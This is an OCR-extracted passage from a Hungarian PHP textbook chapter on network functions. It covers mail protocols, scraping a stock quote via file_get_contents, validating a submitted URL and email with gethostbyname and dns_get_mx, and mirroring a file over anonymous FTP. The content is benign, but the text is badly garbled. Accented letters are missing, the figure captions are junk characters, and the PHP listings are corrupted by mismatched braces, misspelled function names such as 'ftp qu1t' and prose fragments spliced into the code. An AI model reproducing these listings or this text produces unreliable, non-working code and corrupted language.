SMTP-vel, olvasni POP3-mal s IMAP4-gyel, hogyan kapcsoldhatunk ms webszerverekhez HTTP vel, illetve hogyan valsthatunk meg fjltvitelt FTP-vel.

Email kldse s olvassa


Az e-mail klds elsdleges eszkze PHP-ben az egyszer ma il () fggvny. A

Karakterlncok kezelse s regulris kifejezsek

cm 4. fejezetben megvizsgltuk a fggvny mkdst, gy ezzel itt most nem foglalkozunk. A mai l () fggvny a Simple Mail Transfer Protocollal (egyszer levltovbbrsi protokoll- SMTP) kldi az e-maileket.

308

20. fejezet

Ingyenesen elrhet osztlyok szles vlasztka ll rendelkezsnkre a ma il(} funkciinak kibvtsre. A Levelezlista kezel alkalmazs fejlesztse cm 30. fejezetben egy kiegszt (add-on) osztly segtsgvel HTML csatolmnyokat is kldnk majd e-mailjeinkkel. Az SMTP kizrlag e-mail kldsre szolgl. Az RFC2060-ban lert Internet Message Access Protocolt (internetes zenetelrsi protokoll- IMAP4), illetve az RFC1939-es s az STD0053-as dokumentumban lert Post Office Protocolt (postafik protokoll- POP3) hasznljuk az zenet levelezszerverrl val beolvassra. Ezek a protokollok kldsre nem alkalmasak. Az IMAP4 protokollt kiszolgln trolt e-mailek olvassra s kezelsre hasznlhatjuk. Az IMAP4 kifinomultabb funkci kat knl a POP3-nl, amit jellemzen csak az e-mailek kliensre tltsre s a kiszolglrl val trlsre hasznlnak. A PHP-hoz IMAP4 knyvtr tartozik, ami POP3- s Network News Transfer Protocol- (hlzati hrtviteli protokoll NNTP), illetve IMAP4-kapcsolat ltrehozsra hasznlhat. A knyvtr hasznlatt a ismerni.

'

20

Webalap levelezszolgltats ltrehozsa cm 29. fejezetben kifejlesztett projekt sorn fogjuk meg

Ms weboldalak tartalmnak felhasznlsa


Az internetben az egyik legnagyszerbb dolog, hogy lehetv teszi meglv szolgltatsok s tartalmak hasznlatr, mdost st s sajt oldalainkba val begyazst. PHP-vel rendkvl egyszeren megtehetjk mindezt. Nzznk pldt ennek szemll tetsre! Kpzeljk el azt, hogy a vllalat, ahol dolgozunk, szeretn megjelenteni honlapjn sajt rszvnynek rfolyamt! Ez az informci az adott rszvnyt jegyz tzsde honlapjn megtallhat, de hogyan hasznlhatjuk fel? Elszr is dertsk ki a kvnt informci eredeti, forrs URL-jt! Ha ezzel risztban vagyunk, akkor minden alkalommal, amikor valaki felkeresi oldalunkat, kapcsolatot nyirunk ehhez az URL-hez, lekrjk az oldalt, s kinyerjk belle a bennnket rdekl informcit. Pldaknt olyan kdot lltottunk ssze, amely az AMEX weboldalrl Icinyeri a rszvnyrfolyamot, majd tformzza. A plda kedvrt az Amazon.com aktulis rfolyamt kvnjuk oldalunkba beilleszteni. (Msmilyen tartalmat is beilleszthe tnk, a folyamat mkdsi elve akkor is ugyanez lesz.) A 20.1 pldakd egy msik weboldal ltal nyjtott webes szolgltatst felhasznlva jelenti meg az adatokat sajt olda lunkon. 20.1 pldakd: adat_kikereses. php-A

kd a $reszveny_kod vltozban trolt rszvnykd ltal megadott rszvny

rJolyamt nyeri ki a NASDAQ adataibl


<html> <head> <title>Rszvnyrfolyam a NASDAQ-rl</title> </head> <body> <?php /la kvnt rszvny kivlasztsa $reszveny_kod 'AMZN';

echo '<hl>A ' . $reszveny_kod . ' rszvny rfolyama</hl>';

$url = 'http://finance.yahoo.com/d/quotes.csv' '?s=' . $reszveny_kod . '&e=.csv&f=slldltlclohgv';

if (!($tartalom = file_get contents($url}}} die('Nem sikerlt megnyitni az oldalt: ' . $url};

ll relevns adat kinyerse list($reszveny_kod, $datum $arfolyam, '"'}; $datum, $ido} explode(', ', $tartalom};

trim($datum,

$ido = trim($ido,

""};

Hlzaci s protokollfggvnyek hasznlata

309

ech o '<p>' echo

$reszveny kod . '


_

utols ' .

ktsi rfolyama: $datum . ', ' .

'

$arfolyam '</p>';

'</p>';

'<p>Utols

kts idpontja:

$ido

ll forrs megjellse
echo '<p>Az adatok forrsa: "'>' ?> </body> </html> . $url . <br /><a href="' . $url . '</a> .</p>';

20
l -T_,;;...;:_._
--_. .. A Al\IZN rszvny rfolyam "AMZN"....Ok.olltti..",.__ 14$(1'/ U'do!kot'1l'l010,400,.

A 20.1 pldakd egy futtatsnak kimenere a 20.1 brn lrhat.

--.=--o,'.!1:

F- fM4!Wiese"eA ..... )4Z;S.bo..,..".,. ldl!ls!*r

20.1 bra:

Az adat_kikereses. php kd regulris kifejezssel nyeri ki az rfolyamadatot a tzsdrl begyjttt informcibl.

A kd maga viszonylag magtl rtetd; igazbl nem is hasznl szmunkra ismereden fggvnyeket, csupn ltalunk mg nem ltott mdon alkalmazza azokat. Emlkezhetnk r, hogy az Adatok
contents()

trolsa s visszakeresse cm 3. fejezetben, amikor a fjlbl olvassrl volt sz, eml

tettk: fjlkezel fggvnyekkel olvasharunk adott URL tartalmbL Pontosan ezt tettk ebben az esetben. A file_get_ fggvny meghvsa:
{
if (!($tartalom = file_get_contents ($url)))
a $tartalom

vltozban eltrolva adja vissza az adott URL alatt elrhet weboldal reljes szvegt.

A fjlkezel fggvnyekkel sok mindent megtehetnk PHP-ben. A mostani plda egyszeren egy weboldalt tlt be HTTP-n keresztl, de pontosan ugyangy lphetnnk kapcsolatba ms kiszolglkkal HTTPS, FTP vagy ms protokollal is. Ms feladatokhoz ugyanakkor ennl specilisabb megkzeltsre lehet szksg. Egyes FTP-funkcik a konkrt FTP fgg vnyekben rhetk el, fopen( ) s ms fjlkezel fggvnyekben nem. A fejezet egy ksbbi rszben pldt ltunk az FTP fggvnyek hasznlatra is. Egyes HTTP- vagy HTTPS-feladatokhoz a cURL knyvtr hasznlatra lehet szksg. Ezzel a knyvtrral bejelentkezhetnk a weboldalakra, s nhny oldalon keresztl utnozhatjuk az egyes felhasznJk viselkedst. Miutn a file_get _contents() fggvnnyel megszereztk az oldal szvegt, a list () segtsgvel tudjuk megkeresni
a

bennnket rdekl rszt:


$arfolyam, '" ' ); $datum, $ido)
=

list($reszveny_kod, $datum $ido


= =

explode(' , ',

$tartalom);

trim($datum,

trim($ido,

'"');

ech o '<p>' .

$reszveny_ kod . '

utols ' .

ktsi rtolyama: $datum . ', .

'

$arfolyam '</p>';

'</p>' ;

ech o '<p>Utols

kts idpontja:

$ido

Ennyi az egsz! A fenti megkzelts sokfle clra hasznlhat, akr helyi idjrs-jelentst is begyazharunk az oldalunkba. A mdszer azt is lehetv teszi, hogy klnbz forrsokbl szrmaz informcikat kombinlva ne egyszeren csak to vbbadjuk a megszerzett adatokat. J plda erre Philip Greenspun hres kdja, amely Bill Gates vagyonrl ad folyamatosan frissl tjkoztatst (Bill Gates Wealth Clock; http://philip.greenspun.com/WealthCiock). Az oldal kt forrsbl gyjt adatot. Az egyik a U.S. Census Bureau, vagyis az USA Npszmllsi Hivatalnak weboldala, ahonnan az orszg llekszmt veszi. A Microsoft-rszvnyek aktulis rfolyamt begyjtve, majd a kt adatot egytt felhasznlva -s sajt markns vlemnyt napvilgra juttatva - j informcit llt el: becslst ad Bill Gates pillanatnyi vagyonnak rtkrl. Egy apr megjegyzs: ha zleti clra hasznlunk ilyen kls informciforrst, rdemes egyeztetni a forrssal vagy jogi tan csot krni. Egyes esetekben szellemi rulajdonjoggal kapcsolatos krdsek is szba jhetnek.

310

20.fezet

Ha ehhez hasonl kdot runk, adatok tadsra is szksgnk lehet. Ha pldul kls URL-hez csatlakozunk, olyan para mtereket adharunk t, amelyeket alapesetben a felhasznl gpeine be. Ha ezt tesszk, rdemes az urlencode () fggvny nyel dolgozni. Ez fogja a neki tadott karakterlncot, s az URL-eknek megfelel formtumra alakga; pldul a szkzket plusz jell vltoztaga. A kvetkezkppen hvhatjuk meg:
$kodolt_parameter = urlencode($parameter);

Ennek az ltalnos megoldsnak egyetlen problm:ija, hogy az oldalnak, ahonnan az informcit beszerezzk, mdosulhar az adatformtuma, s kdunk tbb nem fog mkdni.

20

Hlzati keresfggvnyek hasznlata


A PHP szmos olyan hlzati "keresfggvnyt" kinl, amellyel informcit gyjthetnk a hosztnevekrl, az IP-cmekrl s a levelezsrL Ha pldul olyan gyjtoldalt szeretnnk ltrehozni, rnint a Yahoo! {vagy Magyarorszgon a startlap.hu), a be kldtt URL-eket rdemes automatikusan ellenrizni, hogy az URL-hez tartoz hosztadatok, illetve az oldal elrhetsgi adatai valsak-e. Ezzel elkerlhegk, hogy nem ltez oldalt vagy hibs e-mail cmet vegynk fel az oldal adatbzisba. A 20.2 pldakd egy ilyen gyjtoldal ajnlrlapjnak a kdjt tartalmazza.
20.2 pldakd: oldalajanlo_urlap. html- Linkajnl rlap HMTL kdja
<html> <head> <title>Oldalad ajnlsa</title> </head> <body> <hl>Oldal ajnlsa</hl> <form method=post action="oldalajanlo urlap.php">

URL:

<input type=text name="url" size=30 value="http://"><br />

Kapcsolattart e-mail cime: <input type=text name="email" size=23><br /> <input type="submit" name="Oldal ajnlsa"> </form> </body> </html>

Ennek az egyszer rlapnak a bngszbeli kpt a 20.2 brn lthaguk.

Oldal ajnlsa

;:==.;.;---====]

20.2 bra: Oldal ajnlsakor ltalban annak cmt (URL) s a kapcsolattart elrhetsgt kell megadni,

hogy a linkgyjtemny kezeli rtestst tudjanak kldeni az oldal hozzadsrl.

Amikor valak a gombra kattintva elkldi az adatokat, elszr is azt szeretnnk ellenrizni, hogy a megadott URL, illetve az e-mail cm hoszt rsze valdi gpen fut-e. rtunk egy kdot, ami pontosan ezeket ellenrzi, s arninek a kimenere a 20.3 brn lthat.

Hlzati s protokollfggvnyek hasznlata

311

Az

oldalajnls eredmnyf'j
... ..,Asnm.OOOOI..DoiAJI.. ('()MASPldXJGOOGLE:.\&AL COM

AMAIP--Jfj.$6.111 119 A&e-w.luilllliiiW...._k.oftomlld.

ASPMXOOOOl.E.\tAD..OOMOOOGI..EMAll.COMASPMX.LGOIXit.COM N..TI.ASNX.LOCIOGLcm.tALrOCXXH..i..COll:

!oioodn ................ __ .., ...... ......wt_ -........ .......

20.3 bra: A kdnak ez a vltozata megjelenti az URL s az e-mail cm hosztneveinek ellenrzsekor kapott eredmnyeket. Az lesben hasznlt vltozat nem felttlenl kell, hogy tnylegesen kirja ezeket az informcikat, de rdemes ltni, hogy egy kis ellenrzssei mi mindent derthetnk ki. A fenti ellenrzseket vgrehajt kd a PHP kt hlzati fggvnyt hasznlja. Ez a gethostbyname() s a dns_get
mx(). A teljes kdot a 20.3 pldakd tartalmazza.

20

20.3 pldakd : oldala j anlo_urlap. php


<html> <head>

Az URL-t s az e-mail cmet ellenrz kd

<title>Az oldalajnls eredmnyei<ltitle> <lhead> <body> <hl> Az oldalajnls eredmnyei<lhl> <?php ll rlapmezk kinyerse $url = $_REQUEST['url']; $email =$ REQUEST['email']; ll Az URL ellenrzse $url = parse_url($url); $host = $url['host']; if(! ($ip = gethostbyname($host))

{
echo 'Az URL-hez tartoz hoszt nem rendelkezik rvnyes IP-cmmel'; exit;

echo "A hoszt IP-cme:

$ip <br>";

ll E-mail cm ellenrzse $email = explode('@', $emailhost


=

$email);

$email[l]; a dns_get_mx() fggvny a $mxhostsarr))

ll megjegyzs:

ll PHP windowsos verziiban nem mkdik if (!dns_get_mx($emailhost,

echo 'Az e-mail cmhez nem tartozik rvnyes hoszt'; exit;

312

20. fezet

echo

'Az e-mail az albbi hoszton keresztl lett elkldve:

'

foreach ($mxhostsarr as $mx) echo "$rnx


"

ll Ha eljut idig, akkor minden OK


echo '<br>Minden elkldtt adat rendben van.<br>'; hogy ajnlotta oldalt.<br>'

20

echo 'Ksznjk,

.'Kollgink rvidesen elltogatnak az oldalra.'

ll Vals kd esetn hozzads a vrakoz oldalak adatbzishoz ...


?> </body> </html>

Nzzk vgig egyenknt a kd rdekesebb rszeit! Elszr is vesszk az URL-t, s tadjuk a parse_url ( ) fggvnynek. A fggvny az URL klnbz rszeinek asszociatv tmbjt adja vissza. Egy URL az albbi komponensekbl llhat: scheme, user, pass, host, port, path, query s fragment. ltal ban nincs minden rszre szksgnk, de nzznk egy pldt, hogyan ll ssze ezekbl egy URL! Tekintsk az albbi URL-t: http://nobody:secret@example.com:80/script.php?variable=value#anchor. A parse_url() fggvny ltal visszaadott tmbbe ebben az esetben az albbi rtkek kerlnek: scheme (sma, protokol): http user (felhasznlnv): nobody pass ( jelsz): secret host (kiszolgl): example.com port (kapcsoldsi port): 80 path (elrsi tvonal a kiszolgln): /script.php query (a tulajdonkppeni lekrdezs): variable=value fragment (horgony az oldalon belli ugrshoz): anchor Az oldalajanlo_urlap.php kdban csak a hoszt rtkre van szksg, amit a kvetkezkppen nyerhetnk ki a tmbbl:
$url = parse url($url); $host = $url ['host'];

Ezt kveten Iciderthetjk az ehhez a hoszthoz tartoz IP-cmer, amennyiben az benne van a domainnv-szolgltatsban (DNS). A gethostbyname() fggvnyt hasznljuk erre, ami az IP-cmer adja vissza, illetve amennyiben az nem ltezik, visszatrsi rtke false lesz:
$ip = gethostbyname($host);

A gethostbyaddr() fggvnnyel fordtva is eljrhatunk, ez ugyanis IP-cmer vr paramterknt, s az ahhoz tartoz hosztnevet adja vissza. Ha egyms utn meghvjuk ezt a kt fggvnyt, knnyen lehet, hogy ms hosztnevet kapunk, mint ahonnan kiindultunk. Ez jelentheti azt, hogy az oldal virtulis trhelyszolgltatst vesz ignybe, ahol egy fizikai gp s IP-cm egynl tbb domainnevet zemeltet. rvnyes URL esetn tovbblphetnk az e-mail cm ellenrzsre. Az explode() fggvny meghvsval elszr is fel hasznli nvre s hosztnvre bontjuk az e-mail cmer:
$email = explode('@', $email); Semailhost = $email[l);

Miutn gy Icidertettk a cm hoszt rszt, a dns_get_mx() fggvnnyel ellenrizhetjk, hova megy az e-mail:
dns_get_mx($emailhost, $mxhostsarr);

A fggvny az $mxhostsarr tmbben a megadott cmhez tartoz Maii Exchange- (MX) rekordok halmazr adja vissza. Az MX-rekordok a DNS-nl vannak eltrolva, s gy kereshetjk ket, mint a hosztneveket. Az MX-rekordban megadott gp nem szksgszeren az, ahova a levl tnylegesen kerl. Lehet egyszeren egy olyan gp, amely tudja, hova kell irnytani a levelet. (Mivel egynl tbb ilyen gp is lehet, a fggvny a hosztnv karakterlnca helyett tmbt ad vissza.) Ha nincs MX rekord a DNS-ben, akkor az e-mailnek nincs hova mennie. rdemes megjegyezni, hogy a PHP windowsos verziiban a dns _get_ mx ( ) fggvny nem mkdik. Windows alatt hasz nljuk a PEAR::Net_DNS csomagot, amivel ugyanezt a clt rhetjk el (http:/ l pear.php.net/ package/NET _DNS)!

Hlzati s prorokollfggvnyek hasznlata

313

Ha az ellenrzsek rendben vannak, az rlap adatai bekerlhetnek az adatbzisba, s vrhatjk, hogy valamely kollgok majdan tnzi az aJnlott oldalt. A pldban szerepl fggvnyeken tlmenen a checkdnsrr () fggvnyt is hasznlhatnnk. Ez hosztnevet fogad para mterknt, s abban az esetben tr vissza true rtkkel,ha a DNS-ben megtallhat a hosztnv rekordja.

Biztonsgi ments ksztse vagy fjl tkrzse


A fjltviteli protokollal (FTP) llomnyokat tovbbthatunk egy hlzat szmtgpei kztt. Az fopen (),illetve a PHP egyb fjlfggvnyei FTP kapcsolat esetn ugyangy hasznlhatk kiszolglhoz csatlakozsra, illetve fjlok kiszolglra s kiszolglrl val tovbbtsra, mnt HTTP kapcsolatok esetn. Az ltalnos PHP-teleptssel azonban kifejezetten FTP kapcsolat alatt hasznlhat fggvnyekhez is hozzju tunk. Ezek a fggvnyek alaprtelmezsben nincsenek beptve az ltalnos teleptsbe. Hasznlatukhoz Unix alatt az
--enable-ftp belltssal kell futtatnunk a PHP configure programjt, majd mg egyszer futtatni kell a make-et is.

20
'

ltalnos windowsos telepts hasznlata esetn az FTP fggvnyek automatikusan be vannak kapcsolva. (A PHP konfigur lsrl a fggelkben tallunk tovbbi informcit.)

Biztonsgiments ksztse vagy fjl tkrzse FTP-vel


Az FTP fggvnyek kivlan alkalmasak arra,hogy egyik gprl a msikra msoljunk vagy thelyezznk llomnyokat. Leg gyakrabban akkor fogunk lni ezzel a lehetsggel, ha biztonsgi mentst ksztnk weboldalunkrl, vagy msik gpre tkrz zk az llomnyokat. Nzzk meg egy egyszer pldval, hogyan lehet FTP fggvnyekkel tkrzni egy fjlt! A kdot a 20.4 pldakdban lthatjuk. 20.4 pldakd: ftp_tukrezes. php-A fjl
<html> <he ad> <title>Tkrzs frisstse</title> <lhead> <body> <hl> Tkrzs frisstse </hl> <?php

j vltozatt FTP kiszolglrl letlt kd

ll vltozk belltsa - az alkalmazsnak megfelelen mdostsuk ezeket!


$host = 'ftp.cs.rmit.edu.au'; $felhasznaloi_nev $jelszo =
=

'anonymous';

'en@pelda.com';

$tavoli_fajl = '/pub/tsg/teraterm/ttsshl4.zip'; $helyi fajl = 'ltmp/writable/ttsshl4.zip'; ll kapcsolds a hoszthoz $kapcsolat = ftp_connect($host); if (!$kapcsolat)

{
echo 'Hiba: exit; echo "Sikeresen csatlakoztatva: $host.<br />"; Sikertelen kapcsolds az ftp szerverhez<br />';

ll bejelentkezs a hasztra
$eredmeny = @ftp login($kapcsolat, if (!$eredmeny) echo "Hiba: $felhasznaloi_nev felhasznli nvvel nem sikerlt bejelentkezni<br/>"; $felhasznaloi_nev, $jelszo);

ftp qu1t($kapcsolat);

314

20. fejezet

exit;

echo

"$felhasznaloi nev felhasznli nven

bejelentkezvecbr />"; hogy szksg van-e frisstsre!

ll ellenrizni a fjl utols mdostsnak idpontjt,


if (file_exists($helyi fajlll

echo 'Fjl utols mdostsi idpontjnak ellenrzse... <br />';

$helyi_modositas_ideje

filemtime($helyi_fajl);

20

echo 'Helyi fjl utols mdostsnak idpontja '; echo date('G:i j-M-Y', echo '<br />'; $helyi_modositas ideje);

else $helyi_modositas ideje=O; $tavoli_modositas ideje= ftp_mdtm($kapcsolat, if $tavoli fajl);

(! ($tavoli_modositas_ideje >= 0)) ll Ez nem azt jelenti,


hogy a fjl nincs ott, a kiszolgl nem biztos,

ll hogy tmogatja a mdostsi idt


echo 'Nem rhet el a tvoli fjl utols mdostsnak idpontja.<br />'; $tavoli_modositas_ideje=$helyi_modositas ideje+l;

ll gondoskodjunk a frisstsrl!

else

echo 'Tvoli fjl utols mdostsnak idpontja'; echo date('G:i j-M-Y', echo '<br />'; $tavoli_modositas_ideje);

if (!($tavoli_modositas deje > $helyi_modositas ideje))

echo 'A helyi msolat napraksz.<br />'; exit;

ll fjl letltse
echo 'Fjl letltse a szerverrl... <br />'; Sfp = fopen ($helyi fajl,

'w');
$fp, $tavoli fajl, FTP_BINARY))

if (!$siker = ftp_fget($kapcsolat,

echo 'Hiba: Nem sikerlt letlteni a fjlt'; tp_quit($kapcsolat); exit;

fclose($fp); echo 'A fjl sikeresen letltdtt';

ll kapcsolat bontsa a hoszttal


ftp_quit($kapcsolat);

?> </body> </html>

A kd futtatsnak mintakimenett a 20.4 brn ltjuk.

H lzati s protokollfggvnyek hasznlata

315

lt2l-;m--;T.:J""
Tkrzs frisstse
Sbn:wa..........___..._ ..._.. _.......,._ FIJI...,-..6ciooiMoi ....... ........_ Rli7!r.o.J ......... iot/ipanJo lllll-S..XIIO f.....ta,l..... ....._._jo:l"lf">.Joi..lOIO Aw,i......_

20
20.4 bra: Az FTP tkrzkd ellenrzi, hogy a fjl helyi vltozata napraksz-e, s ha nem az, akkor letlti az j vltozatt. Az ftp_tukrozes. ph p kd elgg ltalnos. Lthatjuk, hogy az albbi vltozk belltsval kezddik:
$host = 'ftp.cs.rrnit.edu.au';
=

$felhasznaloi_nev $jelszo
=

'anonyrnous';

'en@pelda.corn';
=

$tavoli fajl $helyi_fajl


=

'/pub/tsg/teraterrn/ttsshl4.zip'; '/trnp/writable/ttssh14.zip';

A $host vltoz annak az FTP kiszolglnak a nevt tartalmazza, amelyhez kapcsoldni kvnunk, a $felhasznaloi_
nev s a $j elszo pedig a bejelentkezshez hasznland felhasznli nevet, illetve jelszt trolja.

Sok FTP oldal tmogatja az gynevezett nvtelen bejelentkezst (anonymous login). Ebben az esetben egy szabadon elrhet felhasznli nvvel brki csatlakozhat a kiszolglhoz. Nincs szksg jelszra, de jelszknt gyakran illik megadni e-mail c mnket, hogy a rendszergazdk lthassk, honnan jnnek a felhasznlik. Pldnkban is kvettk ezt a szokst. A $tavoli_fajl vltoz a letlteni kvnt fjl elrsi tvonalt tartalmazza. Jelen esetben a Tera Term SSH egy helyi pldnyt tltjk le s tkrzzk. A Tera Term SSH egy windowsos SSH kliens. (Az SSH a secure shell, a biztonsgos hj rvidtse. Ez a Telner gy titkostott formja.) A $helyi_ faj l vltoz annak a helynek az elrsi tvonalt tartalmazza, ahol szmtgpnkn trolni kvnjuk a letl ttt fjlt. A pldban ltrehozunk egy /trnp/wri table nev knyvtrat megfelel jogosultsgokkal ahhoz, hogy a PHP fjlt rhasson oda. Opercis rendszernktl fggetlenl a kd mkdshez ltre kell hozni ezt a knyvtrat. Amennyiben ope rcis rendszernk szigor jogosultsgi szisztmval br, gondoskodnunk kell rla, hogy kdunknak jogosultsga legyen rni. Ezeket a vltozkat megfelelen mdostva lehetv vlik, hogy sajt cljainkra hasznljuk a kdot. A kdban ugyanazokat az alaplpseket kvetjk, mintha sajt kezleg, parancssori felletbl tovbbtannk egy llomnyt FTP-n keresztl: l. 2. Kapcsolds a tvoli FTP kiszolglhoz. Bejelentkezs (felhasznlknt vagy nvtelenl).

3. A tvoli fjl mdostsnak ellenrzse. 4. H a a fjl mdosult, letltjk. 5. Kapcsolat bontsa az FTP kiszolglval. Nzzk meg egyenknt ezeket a lpseked

Kapcsolds a tvoli FTP kiszolglhoz


Az els lps azzal egyenrtk, mintha windowsos vagy unixos rendszerben a kvetkezket gpelnnk be a parancssorba:
ftp hostnev

PHP-ben a kvetkez kddal hajthatjuk vgre ugyanezt:


$kapcsolat = ftp connect($host); if (!$kapcsolat)

{
echo 'Hiba: exit; Sikertelen kapcsolds az ftp szerverhez<br />';

echo "Sikeresen csatlakoztatva:

$host.<br />";

316

20.fezet

Az ftp_connect () fggvnyt hvjuk meg itt. Ez paramterknt a hosztnevet fogadja,s vagy a kapcsolat erforrs-vl tozjt adja vissza, vagy- amennyiben a kapcsolat nem tud ltrejnni- false rtkkel tr vissza. A fggvny opcionlis msodik paramterknt a csadakozsra kijellt hoszt portjnak szmt fogadhatja. (A pldban nem adtuk ezt meg.) Ha nem hatrozzuk meg a port szmt,a 21-est, az FTP alaprtelmezett portjt fogja a fggvny hasznlni.
Bejelentkezs az FTP kiszolglra

20

A kvetkez lps a bejelentkezs adott felhasznli nvvel s az ahhoz tartoz jelszval.Az ftp_login () fggvnnyel tehet jk ezt meg:
$eredmeny if
=

@ftp_login($kapcsolat,

$felhasznaloi_nev,

$jelszo);

(! $eredmeny)
echo "Hiba: A $felhasznaloi nev felhasznli nvvel nem sikerlt bejelentkezni<br

{ />";
ftp_quit($kapcsolat); exit;

echo

"$felhasznaloi nev felhasznli nven bejelentkezve<br

/>";

A fggvny hrom paramtert vr: az FTP kapcsolatot (amit az ftp_connect () fggvnybl kap meg), a felhasznli nevet s a jelszt.Sikeres bejelentkezs esetn true, ellenkez esetben false rtkkel tr vissza. Figyeljk meg,hogy a sor elejre @ szimblumot tve elnyomjuk a hibkat! Azrt tesszk ezt, mert ha a felhasznl nem lptethet be, PHP-s figyel meztets jelenne meg a bngszben.Az $eredmeny tesztelsvel kezelhetjk ezt a hibt, s sajt, felhasznlbart hibaze netnket tudjuk megjelenteni. Lthatjuk, hogy sikereden bejelentkezsi kisrlet esetn az ftp_quit () fggvnnyel bontjuk az FTP kapcsolatot. A k sbbiekben rszletesebben is bemutatjuk ezt a fggvnyt.
Fjl mdostsi idejnek ellenrzse

Mivel az llomny helyi msolatt kvnjuk frissteni,rdemes lehet ellenrizni,hogy egyltaln szksg van-e erre,mert ha a helyi vltozat friss, akkor teljesen felesleges lenne mg egyszer letlteni. Nagy llomnyok esetn ez egyltaln nem mindegy, akr jelents hlzati forgalomtl is megkmlhetjk magunkat ezltal. Nzzk meg az utols mdosts idpontjt ellenrz kdrszletet! Pontosan a fjlok utols mdostsi idpontja miatt hasznlunk a sokkal egyszerbb f:ijlfggvnyek helyett FTP fggv nyeket.A fjlfggvnyek is egyszeren olvasnak- s egyes esetekben rnak is- f:ijlokat hlzati felleten (network interfaces) keresztl,de az olyan llapotfggvnyek,mint pldul a filemtime (),tvolrl nem mkdnek . Azt eldntend, hogy le kell-e tlteni a fjlt, elszr is a file_exists () fggvnnyel ellenrizzk, hogy megvan-e a fjl helyi pldnya. Ha nincs, akkor egyrtelm, hogy szksg van a letltsre.Ha a fjl ltezik,utols mdostsnak idpontjt a filemtime() fggvnnyel derthetjk ki, s a $helyi_modositas_ideje vltozban eltroljuk azt. Ha a helyi fjl nem elrhet, akkor a $helyi_modositas_ideje vltoz rtkt 0-ra lltjuk, mert gy biztosan,.korbbi" lesz, mint a tvoli f:ijl utols mdostsnak idpontja:
echo 'Fjl utols mdostsi idpontjnak ellenrzse ...<br

/>';

if (file_exists($helyi fajl))

{
$helyi_modosi tas ideje echo
=

filemtime($hely l faj l); ';

'Helyi fjl utols mdostsnak idpontja $helyi_modositas ideje);

echo date('G:i j-M-Y', echo '<br />';

else $helyi_modositas_ideje=O;

(A file_exists () s a filemtime() fggvnyrl a 2.s a 19. fejezetben rszletesebben is olvashatunk.) Miutn gy vgeztnk a helyi fjllal, a tvoli vltozat utols mdostsnak idpontjt kell kidertennk.Az ftp_mdtm() fggvnnyel tehetjk ezt meg:
$tavol1_modositas ideJe ftp_mdtm($kapcsolat, $tavoli fajl);

Hlzati s protokollfggvnyek hasznlata

317

A fggvny kt paramtert fogad: az FTP kapcsolat erforrs-vltozjt s a tvoli fjl elrsi tvonalt, s a fjl urols mdo stsi idpontjnak unixos idblyegt vagy hiba esetn -l-et ad vissza. Nem minden FTP kiszolgl tmogatja ezt a funk cit, gy nem felttlenl fog hasznlhat eredmnnyel jrni a fggvny alkalmazsa. Ha gy trtnik, dnthetnk gy, hogy

a $tavoli_modosi tas_idej e vltozt mestersgesen a


if

$helyi_ modositas_ideje

vltoznl.,ksbbire" lltjuk

azzal, hogy l-et hozzadunk. gy a kd mindenkppen megksrli letlteni az llomnyt: (1 ($tavoli_modositas_ideje >= 0))
Ez nem azt jelent i , hogy tmogatja a hogy a fjl nincs ott, mdositsi idt a kiszolgl nem biztos,

ll

ll
echo

'Nem rhet

el a tvoli fjl utols mdositsnak idpontja.<br

l>';

20
'

$tavoli_modositas_ideje=$helyi_modositas_ideje+l;

ll

gondoskodjunk a frisstsrl

else

echo 'Tvoli fjl utols mdostsnak idpontja'; echo date('G:i j-M-Y', echo '<br $tavol_modositas_ideje);

l>';

A kt mdostsi idpont birtokban sszehasonlthatjuk a fjl kt vltozatt, s eldnthetjk, hogy szksg van-e a letltsre:
1f

(! ($tavoli_modositas_ideje >

$helyi_modositas_ldeje))

echo 'A helyi msolat napraksz.<br exit;

l>';

A fjlletltse
Ha idig eljutottunk, megprblhatjuk letlteni a fjlt a kiszolglrl:
echo 'Fjl letltse a szerverrl ...<br $fp = fopen ($helyi_fajl,

/>';
$tavoli fajl, FTP_BINARY))

'w');
$fp,

if (!$siker = ftp_fget($kapcsolat,

echo 'Hiba: Nem sikerlt letlteni a fjlt'; ftp_quit($kapcsolat); exit;

fclose($fp); echo 'A fjl sikeresen letltdtt';

Ahogy azt mr korbban megtanultuk, helyi fjlt az fopen () fggvnnyel nyitunk meg. Ezt kveten az ftp_fget () fggvnyt hvjuk meg, amely megksrli letlteni s helyi fjlban eitroini az llomnyt. A fggvny ngy paramtert fogad. Az els hrom magtl rtetd: az FTP kapcsolat, a helyi fjl erforrs-vltozja s a tvoli fjl elrsi tvonala. A negyedik para mter az FTP kapcsolat mdja.

Az FTP fjltvitel kt lehetsges mdja az ASCII s a binris (binary). Az ASCII mdot szveges (vagyis kizrlag ASCII
karaktereket tartalmaz) fjlok tovbbtsra hasznljuk, a binris mdot pedig minden ms fjlhoz. A binris md rintet lenl hagyja a tovbbtott fjlt, az ASCII md ugyanakkor az opercis rendszernknek megfelel mdon talaktja a.,kocsi vissz' s a.,soremels" karaktereket (Unix alatt \n, Windows alatt \r\n, Macintosh alatt pedig \r lesz bellk). A PHP FTP knyvtrban kt, elre meghatrozott, ezeket az FTP mdokat jelkpez lland tallhat: FTP_ASCII s
FTP_BINARY. Neknk

kell eldnteni, hogy melyik md felel meg a szban forg fjltpusnak, s az annak megfelel llandt

kell negyedik paramterknt tadni az ftp_fget () fggvnynek. Pldnkban tmrtett ZIP fjlt tovbbtunk, ezrt az
FTP_BINARY

mdot vlasztjuk.

Ha minden rendben megy, az ftp_fget () fggvny true, hiba esetn pedig false rtkkel tr vissza. Az eredmnyt

$si ker

vltozban troljuk, majd kzljk a felhasznlval a mvelet kimenett.

A letltsi ksrlet utn az fclose() fggvnnyel zrjuk be a helyi llomnyt. Az ftp_fget() alternatvjaknt az ftp_get () fggvnyt is hasznlhamnk, amelynek prototpusa a kvetkez:

318

20.fezer

Lnt ftp_get (int ftp_kapcsolat,

string helyi fajl_eleresi_utvonala, Lnt mod)

string tavoli fajl_eleresi_utvonala,

Ez a fggvny az ftp_fget ()-hez hasonlan mkdik , m nem ignyli,hogy a helyi fjl meg legyen nyitva.Az rni kvnt helyi fjl erforrs-vlrozja helyerr annak elrsi tvonalr adjuk r a fggvnynek. rdemes megjegyezni,hogy az egyszerre tbb fjl letltsre hasznlhat mget FTP-s parancsnak nincsen megfelelje. Ha erre van szksgnk,tbbszr meg kell hvnunk az ftp_fget () vagy ftp_get () fggvnyt.

20

A kapcsolat bontsa

Az FTP kapcsolattal vgzett munka utn bontani kell a kapcsolatot az ftp_ quit () fggvnnyel:
ftp_quit($kapcsolat);

